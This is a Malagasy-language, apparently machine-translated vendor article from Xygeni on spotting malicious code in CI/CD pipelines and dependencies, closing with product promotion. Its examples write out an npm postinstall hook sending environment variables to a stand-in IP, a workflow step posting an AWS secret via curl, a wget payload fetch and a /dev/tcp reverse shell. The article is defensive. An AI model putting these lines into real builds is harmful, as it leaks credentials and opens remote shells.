Iza amin'ireto manaraka ireto no mety manondro fanafihana kaody ratsy?

Raha miasa ianao CI/CD pipelineNa manoratra script mandeha ho azy, na miaro ireo rafitra fananganana maoderina, ny famantarana kaody maloto dia tsy safidy; tena ilaina izany. Tsy vitan'ny hoe manararaotra ny fotoana fiasanao fotsiny ny fanafihana kaody maloto; fa mampiasa ny dingana fananganana, ny fonosana avy amin'ny antoko fahatelo, ary ny asa mandeha ho azy izay ianteheranao isan'andro izy ireo.

Ity lahatsoratra ity dia mikaroka ireo fihetsika mety manondro fanafihana kaody maloto sy ny fomba ahafahan'ny kaody maloto miely, indrindra ao anatin'ny CI/CD tontolo iainana. Natao ho an'ny mpamorona rindrambaiko sy ekipa DevSecOps tompon'andraikitra amin'ny rojo famatsiana rindrambaiko, ny automation amin'ny fananganana, ary ny fiarovana ny fizotran'ny fametrahana. Amin'ny alàlan'ny fahatakarana ireo tondro sy vector fanafihana ireo, dia afaka mamantatra tsara kokoa ny fandrahonana ny ekipa ary manamafy ny pipelinemanohitra ny marimaritra iraisana.

Hianatra ianao ny fomba ampidiran'ny mpanafika fandrahonana ao amin'ny anao pipelines, inona avy ireo soritr'aretina tokony hojerena, ary ny fomba ahafahan'ny kaody ratsy miely mangina amin'ny alàlan'ny asa mahazatra toy ny fametrahana fiankinan-doha sy ny fanaraha-maso ny fizotran'ny asa. Andeha hojerentsika ireo famantarana, manomboka amin'ny fifamoivoizana mivoaka tsy ampoizina ka hatramin'ny PR ratsy fanahy izay manelingelina ny asan'ny CI, mba hahafahanao mamantatra sy manafoana ny fandrahonana alohan'ny hahatongavany amin'ny famokarana.

Inona no atao hoe fanafihana kaody ratsy?

Ny fanafihana kaody maloto dia rehefa misy kaody manimba ampiharina ao anatin'ny rindranasao, build pipeline, na tontolo iainana runtime. Miresaka momba ny lojika nosoratana manokana ho an'ny:

Mangalatra tsiambaratelo toy ny lakilen'ny API sy ny fahazoan-dàlana
Fanovana ny fananganana na fanosehana ireo zavatra simba
Sokafy ny akorandriaka na esory ny angona

Tsy bibikely fotsiny ny kaody ratsy fanahy. Entin'ny fikasana izy io. Ary matetika izy io dia ao anatin'ny fitaovanao mahazatra: fiankinan-doha, asa CI, script fametrahana.

Nahoana no tokony hiahy ireo mpamorona rindrambaiko? Satria tsy avy amin'ny mpanafika ivelany izay mamely ny API-nao foana no iavian'ny fandrahonana. Miditra ao anatin'ny fizotran'asa ataonao isan'andro ny kaody ratsy fanahy, toy ny fametrahana npm na ny fananganana Docker. Izany indrindra no fomba ahafahan'ny kaody ratsy fanahy miely amin'ny rafitra tena izy.

Iza amin'ireto manaraka ireto no mety manondro fanafihana kaody ratsy? Famantarana azo ampiharina ho an'ny mpamorona rindrambaiko

Raha manontany tena ianao hoe iza amin'ireto manaraka ireto no mety manondro fanafihana kaody maloto, dia manomboka amin'ny fihetsika hita maso ny valiny:

Tondro (Soritr'aretina)	ohatra	Ny tena antony	Type
Fifamoivoizana tsy nampoizina avy amin'ny tranobe	`curl -X POST http://198.51.100.42 -d "$(env)"` ao anaty script aorian'ny fametrahana	Fonosana npm ratsy fanahy	Tondro Marina
Rakitra novaina na nosaronana tao amin'ny repos loharano	Base64 voasarona ao `.github/workflows/build.yml`	Fifandonana amin'ny rojo famatsiana	Tondro Marina
Tsiambaratelo azo tamin'ny asa tsy nampoizina	Asa CI tsy nahazoana alalana mampiasa `${{ secrets.AWS_SECRET_KEY }}`	Diso ny fikirakirana na ny tsindrona IAM	Tondro Marina
Akorandriaka mivadika na dingana wget amin'ny fananganana	`bash -i >& /dev/tcp/... shellcode` amin'ny dingana CI	hosimbaina pipeline teny	Tondro Marina
Fonosana tsy mandeha tsara miaraka amin'ny script fametrahana	`lodashs` or `react-core-js` miasa amin'ny kaody tsy ampoizina	Fiankinan-doha misavoritaka	Tondro Marina
nanokatra CI/CD alalana	Afaka miditra amin'ny tsiambaratelo rehetra ny asa rehetra	Fikirana mahazatra malemy	Fanao ratsy (Tsy famantarana)
Tsy fahampian'ny fanamarinana ny fahamarinan'ny rakitra	Tsy misy fampandrenesana rehefa miova ny fikirakirana	Tsy misy fanaraha-maso	Fanao ratsy (Tsy famantarana)

Fifamoivoizana tsy nampoizina avy amin'ny Build Pipelines

soritr'aretina: Tampoka teo dia miresaka amin'ny IP na domaine ivelany tsy fantatra ny asanao CI.
ohatra: Mampiasa curl ny script postinstall iray voajirika mba handefasana variables environment any amin'ny 198.51.100.42.

				
					{
  "scripts": {
    "postinstall": "curl -X POST http://198.51.100.42 -d \"$(env)\""
  }
}

Ny tena antony: Fiankinan-doha amin'ny npm ratsy nampiana tao amin'ny package.json na script CI novaina.
Type: Tondro Marina
Ahoana no hisorohana:

Sakanana ny fifamoivoizana mivoaka amin'ny alàlan'ny default ao amin'ny CI runners-nao (oh: ampiasao ny fitsipiky ny firewall na ny politika fivoahana deny-by-default)
Ampio politika momba ny tambajotra mba ahafahana miditra amin'ny sehatra manokana ihany:

				
					jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Allowlist specific domains
        run: iptables -A OUTPUT -p tcp -d github.com -j ACCEPT

Rakitra novaina na tsy nampoizina ao amin'ny Source Repos

soritr'aretina: Miseho ao amin'ny fanaraha-maso loharano tsy misy fanazavana mazava ireo rakitra na script vaovao.
ohatra: Napetraka tao amin'ny package-lock.json na .github/workflows/build.yml ny entana Base64 voasakana

				
					jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Unauthorized secret access
        run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99

Ny tena antony: Fidiran'ny tambajotra sosialy manimba na fiankinan-doha voahodinkodina.
Type: Tondro Marina
Ahoana no hisorohana:

Ampiasao ny fanaraha-maso mandeha ho azy ny fahamarinan'ny rakitra (oh: Tripwire na Git hooks miaraka amin'ny fanamarinana checksum)
Ampiharo ny famerenana amin'ny tanana ny fizotran'ny asa ary hidio ny fanovana rakitra amin'ny alàlan'ny GitHub CODEOWNERS:

				
					.github/workflows/*  @security-team
package-lock.json     @devops-lead

Hamarino ny fanamarinana ireo fiankinan-doha nohavaozina

Endrika fampiasana fahazoan-dàlana tsy mahazatra

soritr'aretina: Misy mpampiasa, serivisy, na dingana tsy ampoizina miditra amin'ny tsiambaratelo ao amin'ny anao pipeline.
ohatra: Ny "Secrets Manager logs" dia mampiseho ny fidirana avy amin'ny asa izay tsy tokony ho azo idirana.

				
					jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - name: Unauthorized secret access
        run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99

Ny tena antony: Politika IAM tsy voalamina tsara, fahazoan-dàlana tafaporitsaka, na fampidirana asa CI.
Type: Tondro Marina
Ahoana no hisorohana:
- Ampiharo ny tombontsoa kely indrindra amin'ny politika fidirana (ohatra, asa iray = tsiambaratelo iray)
- Araho maso ny lisitry ny fidirana amin'ny tsiambaratelo ary apetraho ny fanairana raha misy fampiasana tsy ara-dalàna
- Ampiasao ny fitsipika fiarovana ny tontolo iainana ao amin'ny GitHub sy ny tsiambaratelo voafaritra:

				
					environments:
  production:
    protection_rules:
      required_reviewers:
        - security-team

Hamarino ny fitondran-tena andrasana amin'ny asa amin'ny alàlan'ny fanamarinana politika mandeha ho azy (ohatra, OPA/Gatekeeper)

Fampiharana dingana tsy ara-dalàna ao amin'ny CI/CD na fotoana fiasana

soritr'aretina: Manomboka dingana tsy ampoizina ireo fampiharana namboarina na napetraka.
ohatra: bash -c \"wget http://malicious.site/payload.sh\" miseho mandritra ny fananganana.

				
					steps:
  - name: Suspicious shell execution
    run: bash -i >& /dev/tcp/malicious.site/4444 0>&1

Ny tena antony: Soratra nampidirina, akora mivadika, na novaina pipeline dingana.
Type: Tondro Marina
Ahoana no hisorohana:
- Ampiasao ireo lisitra azo ampiasaina ho an'ny baiko (oh: ferana ho an'ny fitaovana fananganana efa nekena ihany)
- Akatona ny fahafahan'ny fizotran'ny asa ao amin'ny CI amin'ny alàlan'ny fampandehanana asa ao anaty fitoeran-javatra faran'izay kely:

				
					jobs:
  build:
    container:
      image: secure-ci-image:latest
      options: --cap-drop=ALL --no-new-privileges

Skanera ny fampiasana shell sy ireo lamina ratsy fantatra amin'ny fampiasana CI-integrated linters sy SAST

Fiankinan-doha voasakana mampihatra kaody ratsy

soritr'aretina: Ny script fametrahana na fanavaozana dia mampiasa kaody tsy nahazoana alalana nefa tsy niniana natao.
ohatra: Fonosana misy diso tsipelina toy ny lodashs or react-core-js mampiasa "preinstall hook" mampidi-doza.
Ny tena antony: Fisafotofotoana momba ny fiankinan-doha na fampiasana rejisitra tsy azo itokisana.
Type: Tondro Marina
Ahoana no hisorohana:

Hidio ny fiankinan-doha amin'ny SBOM fanamarinana sy fametahana hash:

				
					npm ci --prefer-offline --no-audit --ignore-scripts

Use .npmrc or .yarnrc.yml hampidirana ireo rejisitra nahazo fankatoavana amin'ny lisitra fotsy:

				
					registry=https://registry.npmjs.org/
always-auth=true

Manara-maso tsy tapaka ireo fonosana mampiasa SCA fitaovana toy ny Xygeni, OSV-Scanner, na Dependabot

Jereo ny fiarovana tsara indrindra amin'ny rindrambaiko ratsy loharano misokatra

Arovy amin'ny fandrahonana mipoitra ny rindrambaiko Open Source-nao!

Vakio ny Taratasy Fotsy Izao

Vakiteny mifandraika:

Ahoana no mety hielezan'ny kaody ratsy ao amin'ny fizotran'ny fiasan'ny mpamorona?

Ny fahatakarana ny fomba mety hielezan'ny kaody ratsy dia manampy anao hanapaka izany alohan'ny hahatongavany amin'ny famokarana:

Fonosana open-source voajirika (ohatra, môdiola npm/PyPI voajirika)
ratsy toetra pull requests miaraka amin'ny entana miafina ao amin'ny workflows
CI/CD tsy fahatomombanana (ohatra, PR tsy voamarina manatanteraka asa)
Misy fandrahonana avy ao anatiny miditra ao amin'ny "backdoors" mandritra ny fampandrosoana ara-dalàna

Ireo rehetra ireo dia maneho ny fomba ahafahan'ny kaody mampidi-doza miely nefa tsy miteraka fanairana mahazatra.

Ahoana no hamantarana sy hisorohana ny kaody ratsy ao amin'ny Pipelines sy Codebases

Lisitra fanamarinana haingana ho an'ny mari-pamantarana kaody ratsy

Behavior	Fitaovana fitiliana	CI/CD Soso-kevitra
Fangatahana tambajotra tsy nampoizina	Fanaraha-maso ny fitondran-tena, diary fivoahana	Fandavana ny IP, fampiasana audit curl/wget
Fanovana rakitra YAML na hidin-trano	Fanaraha-maso ny fahamarinan'ny rakitra, Git diffs	Ampiharo ny CODEOWNERS, ampahafantaro ny fanovana rakitra fototra
Fidirana miafina tsy mahazatra	Taratasy fidirana miafina, fanairana IAM	Ampiasao ireo tsiambaratelo voafetra, ampiharo ny tombontsoa kely indrindra
Fampiharana akorandriaka na akorandriaka mivadika	SAST, fijerena lisitra azo avela	Fehezo ny fampiasana shell amin'ny script build
Fiankinan-doha mampiahiahy	SCA, SBOM fankatoavana	Ampiasao ireo hash voahidy sy ireo rejisitra azo itokisana

Aza miandry fampandrenesana momba ny famokarana. Toy izao ny fomba ahafahan'ny mpamorona rindrambaiko sy ny ekipa DevSecOps mamantatra mialoha ny fanafihana kaody maloto:

Fanaraha-maso ny fitondran-tena: Mahazoa ny fanatanterahana dingana tsy mahazatra, antso an-tambajotra, na fanovana rakitra ao amin'ny CI/CD.
Fanaraha-maso ny fiankinan-doha: Use SBOMs sy lisitra azo avela hentitra mba hanakanana ireo tranomboky tsy voamarina.
Fanaraha-maso ny fahamarinan'ny rakitra: Mamantatra ireo script na fanovana rakitra config tsy nahazoana alalana.
Fameperana ny fivoahana: Sokafy ny fidiran'ny rakitra mandritra ny fotoana fanamboarana amin'ny alàlan'ny famakafakana sy fanakanana ny fifamoivoizana mivoaka.
Famakafakana statika sy dinamika: Manamarina mandeha ho azy ny lojika mampiahiahy, ny fiantsoana shell, na ny kaody ao amin'ny anao pipelines.

Misimisy kokoa kokoa:

Fitsapana fiarovana ny fampiharana statika (SAST): Afaka mamantatra ny lojika ratsy na ny kaody miafina (ohatra, base64 miafina, fiantsoana shell mampiahiahy) alohan'ny hanatanterahana azy. SAST fitaovana ao amin'ny anao CI/CD manampy amin'ny famantarana ireo lamina mampidi-doza ao amin'ny pull requests sy commits.
Famakafakana ny firafitry ny rindrambaiko (SCA): Mamantatra ireo fonosana marefo na mampidi-doza fantatra mandritra ny dingana famahana ny fiankinan-doha. SCA Ireo fitaovana ireo dia manampy anao hanakana ireo fonosana misy diso tsipelina na misy diso "backdoor" mandritra ny fametrahana, alohan'ny hidirany ao amin'ny tontolo iainanao.

Ireo rehetra ireo dia manampy amin'ny famaliana ny fanontaniana hoe: iza amin'ireto manaraka ireto no mety manondro fanafihana kaody mampidi-doza, ary iza no tabataba hafahafa fotsiny.

Tokony hianaran'ireo mpamorona zava-nitranga tena izy

Tsy mila vinavina mialoha ianao; efa nitranga ireo fanafihana kaody maloto ireo, ary samy manolotra lesona manan-danja avy izy ireo:

Microsoft, Apple: Tratran'ny fisafotofotoana momba ny fiankinan-doha, voafitaka naka fonosana anatiny avy amin'ny rejisitra ho an'ny daholobe.
Entina: Mampiasà rejisitra manokana ary amboary ny famaha fonosana voafaritra mba hisorohana ny fisafotofotoana momba ny fiankinan-doha.
ua-parser-js: Voajirika ny fonosana npm malaza mba hampiasana ireo mpitrandraka crypto.
Entina: Use SBOM fanamarinana sy fametahana CI dependence pinning mba hisorohana ny fanavaozana fonosana tsy voamarina.
Fanitsakitsahana ny tsipelina amin'ny PyPI: Fonosana ratsy nomena anarana mitovy amin'ny tena izy (ohatra, urlib3) mba hampielezana mpangalatra vaovao.
Entina: mampiditra SCA fitaovana hamantarana ireo fonosana mitovy anarana sy hanamarinana ny fiankinan-doha alohan'ny fametrahana.
GitHub PR: Nandefa PR izay nanova mangina ny fizotran'ny CI ireo mpanafika mba leak secrets.
Entina: Ampiharo ny famerenana PR hentitra ho an'ny rakitra workflow ary ampiasao ny tompon'ny kaody ho an'ny fanovana ny fikirakirana CI.

Ny tranga tsirairay dia mampiseho ny fomba ahafahan'ny kaody maloto miely any amin'ny tontolo fampandrosoana alohan'ny hahatongavana any amin'ny famokarana, ary manasongadina fomba fanao azo ampiharina mba hampijanonana azy ireo mialoha.

Fehiny: Ireo mpamorona rindrambaiko no mifehy ny Frontline amin'ny fehezan-dalàna ratsy

Ny fanafihana kaody maloto dia tsy midika foana hoe fidirana avy any ivelany. Indraindray, miafina ao anatinao ny mpanafika node_modules, your package-lock.json, na ny anao Rakitra .github/workflows.

Iza amin'ireto manaraka ireto no mety manondro fanafihana kaody maloto? Ny valiny dia hita ao amin'ny famantarana isan'andro avoakan'ny kaody sy ny fitaovanao.

Own your CI/CD. Tandremo ny fiankinan-doha amin'ny zavatra hafa. Asehoy ireo fihetsika hafahafa. Arakaraka ny mahatsikaritrao azy no vao mainka mihena ny fiparitahany.

Ahoana no ahafahan'ny Xygeni mamantatra sy manakana ny fanafihana kaody ratsy manerana ny DevOps

Rehefa miparitaka manerana ny rojo famatsiana rindrambaiko ny malware, dia matetika tara loatra izany amin'ny fotoana hahatongavany amin'ny famokarana. Izany no mahatonga ny fitadiavana mialoha sy mandeha ho azy ho zava-dehibe. Xygeni's Rafitra fampitandremana mialoha natao hisambotra ireo fonosana manimba alohan'ny ahafahany miditra amin'ny kaody-nao, CI/CD pipelines, na tontolo iainana rahona.

Toy izao Xygeni manamafy ny fiarovanao:

Fampitandremana mialoha amin'ny fotoana tena izy momba ny malware Zero-Day

Tsy tahaka ireo scanner nentim-paharazana izay miantehitra amin'ny CVE fotsiny, ny Xygeni dia manara-maso tsy tapaka ireo rejisitra ho an'ny daholobe toy ny npm, PyPI, Maven, ary NuGet raha misy fihetsika mampiahiahy sy tsy fetezan'ny metadata. Raha vao mampiseho famantarana ny hetsika ratsy ny fonosana iray dia asiana marika, kaontina ary sakanana tsy hiditra ao amin'ny kaontinao. SDLC.

Mamantatra ny malware amin'ny fotoana famoahana azy
Manakana ho azy ny entana tsy ampiasaina amin'ny andro zero sy ny fametrahana mampiahiahy hooks
Mandefa fampandrenesana mivantana ho an'ny ekipa DevOps mba hahazoana fitsapana haingana

Fiarovana amin'ny malware tafiditra ao anatin'ny dingana DevOps rehetra

Na kaody miafina ao anaty script aorian'ny fametrahana izany, na mpangalatra crypto miafina ao anaty fiankinan-doha transitive, na sary fitoeran-javatra trojanized, ny Xygeni dia mampihatra ny fitadiavana malware misy sosona maro manerana ny kaody, fiankinan-doha, CI/CD, ary IaC:

Fanadihadiana statika izay manamarika ny backdoors, trojans, ary entana voasakana alohan'ny fametrahana azy
Rindrambaiko fiarovana miankina izay manakana ireo fonosana voasakana amin'ny alalan'ny Trojan miaraka amin'ny script fametrahana maloto
CI/CD fiarovana izay misoroka ny akorandriaka mivadika sy ny tsindrona baiko ao amin'ny anao pipelines.

Guardrails ary ny fanokanan-toerana mba hampitsaharana ny fiparitahana

Tsy vitan'ny hoe mamantatra malware fotsiny ny Xygeni, fa mampijanona izany koa. Rehefa hita ny fonosana voajirika:

Atao karantina avy hatrany mba hisorohana ny loto mandritra ny fanamboarana
ny pipelineAfaka manapaka ho azy ny fananganana ny s amin'ny alàlan'ny politika fiarovana azo amboarina an'ny Xygeni
Voasokajy ho mainty ireo dikan-teny voakasik'izany, na dia avy amin'ny rejisitra anatiny na manokana aza.

Manaova fanadihadiana ary aza adino ny mahazo vaovao hatrany

Manome fanaraha-maso feno sy fikarohana ara-tantara momba ireo fonosana manimba ny Xygeni. Ho fantatrao izao:

Rehefa navoaka ny fandrahonana
Ahoana no nahitana azy
Na tonga any amin'ny faritra rehetra amin'ny rafitrao izany

Ankoatra izany, ireo fandrahonana voamarina dia ambara ampahibemaso mba hiarovana ny vondrom-piarahamonina open-source midadasika kokoa sy hisorohana ny fihanaky ny malware amin'ny fonosana novaina anarana na nosarahina.

Aza avela hiditra an-tsokosoko ny malware

Manomboka amin'ireo mpitrandraka crypto miafina ka hatramin'ireo mpangalatra fampahalalana tsy mahay manoratra amin'ny fiteny hafa, Mivoatra haingana ny fanafihana kaody malotoNy Rafitra Fampitandremana Mialoha an'ny Xygeni dia miantoka fa tsy mihoatra ny dingana famolavolana, fananganana, na fametrahana ny malware ary voaaro sy ampitandremana ara-potoana ny ekipanao.

Atombohy ny fitsapana maimaim-poana anao izao ary arovy ny DevOps-nao pipeline alohan'ny hamelezan'ny fanafihana manaraka!